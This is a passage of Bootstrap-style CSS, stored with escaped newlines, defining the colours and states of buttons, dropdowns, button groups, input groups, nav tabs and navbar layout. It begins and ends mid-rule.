#286090;\n  border-color: #122b40;\n}\n.btn-primary:hover {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n  color: #fff;\n  background-color: #204d74;\n  border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.btn-success {\n  color: #fff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #255625;\n}\n.btn-success:hover {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n  color: #fff;\n  background-color: #398439;\n  border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  background-image: none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n.btn-info {\n  color: #fff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #1b6d85;\n}\n.btn-info:hover {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n  color: #fff;\n  background-color: #269abc;\n  border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n.btn-warning {\n  color: #fff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #985f0d;\n}\n.btn-warning:hover {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n  color: #fff;\n  background-color: #d58512;\n  border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n.btn-danger {\n  color: #fff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #761c19;\n}\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n  color: #fff;\n  background-color: #ac2925;\n  border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n.btn-link {\n  font-weight: normal;\n  color: #337ab7;\n  border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #23527c;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #777;\n  text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity .15s linear;\n       -o-transition: opacity .15s linear;\n          transition: opacity .15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  display: none;\n}\n.collapse.in {\n  display: block;\n}\ntr.collapse.in {\n  display: table-row;\n}\ntbody.collapse.in {\n  display: table-row-group;\n}\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition-timing-function: ease;\n       -o-transition-timing-function: ease;\n          transition-timing-function: ease;\n  -webkit-transition-duration: .35s;\n       -o-transition-duration: .35s;\n          transition-duration: .35s;\n  -webkit-transition-property: height, visibility;\n       -o-transition-property: height, visibility;\n          transition-property: height, visibility;\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px dashed;\n  border-top: 4px solid \\9;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle:focus {\n  outline: 0;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.42857143;\n  color: #333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #337ab7;\n  outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.open > a {\n  outline: 0;\n}\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu-left {\n  right: auto;\n  left: 0;\n}\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.42857143;\n  color: #777;\n  white-space: nowrap;\n}\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  content: \"\";\n  border-top: 0;\n  border-bottom: 4px dashed;\n  border-bottom: 4px solid \\9;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n  .navbar-right .dropdown-menu-left {\n    right: auto;\n    left: 0;\n  }\n}\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n.btn-toolbar {\n  margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n  float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n  margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n  float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn .caret {\n  margin-left: 0;\n}\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n  left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  float: left;\n  width: 100%;\n  margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555;\n  text-align: center;\n  background-color: #eee;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n  border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n  border-left: 0;\n}\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-group-btn > .btn {\n  position: relative;\n}\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n  margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n  z-index: 2;\n  margin-left: -1px;\n}\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n.nav > li {\n  position: relative;\n  display: block;\n}\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.nav > li.disabled > a {\n  color: #777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #777;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eee;\n  border-color: #337ab7;\n}\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.42857143;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n  border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555;\n  cursor: default;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.nav-pills > li {\n  float: left;\n}\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #fff;\n  background-color: #337ab7;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n.nav-justified {\n  width: 100%;\n}\n.nav-justified > li {\n  float: none;\n}\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.tab-content > .tab-pane {\n  display: none;\n}\n.tab-content > .active {\n  display: block;\n}\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n.navbar-collapse {\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  -webkit-overflow-scrolling: touch;\n  border-top: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n  max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    max-height: 200px;\n  }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container-fluid > .navbar-header,\n  .container > .navbar-collapse,\n  .container-fluid > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n.navbar-brand {\n  float: left;\n  height: 50px;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n.navbar-brand > img {\n  display: block;\n}\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand,\n  .navbar > .container-fluid .navbar-brand {\n    margin-left: -15px;\n  }\n}\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.navbar-toggle:focus {\n  outline: 0;\n}\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n  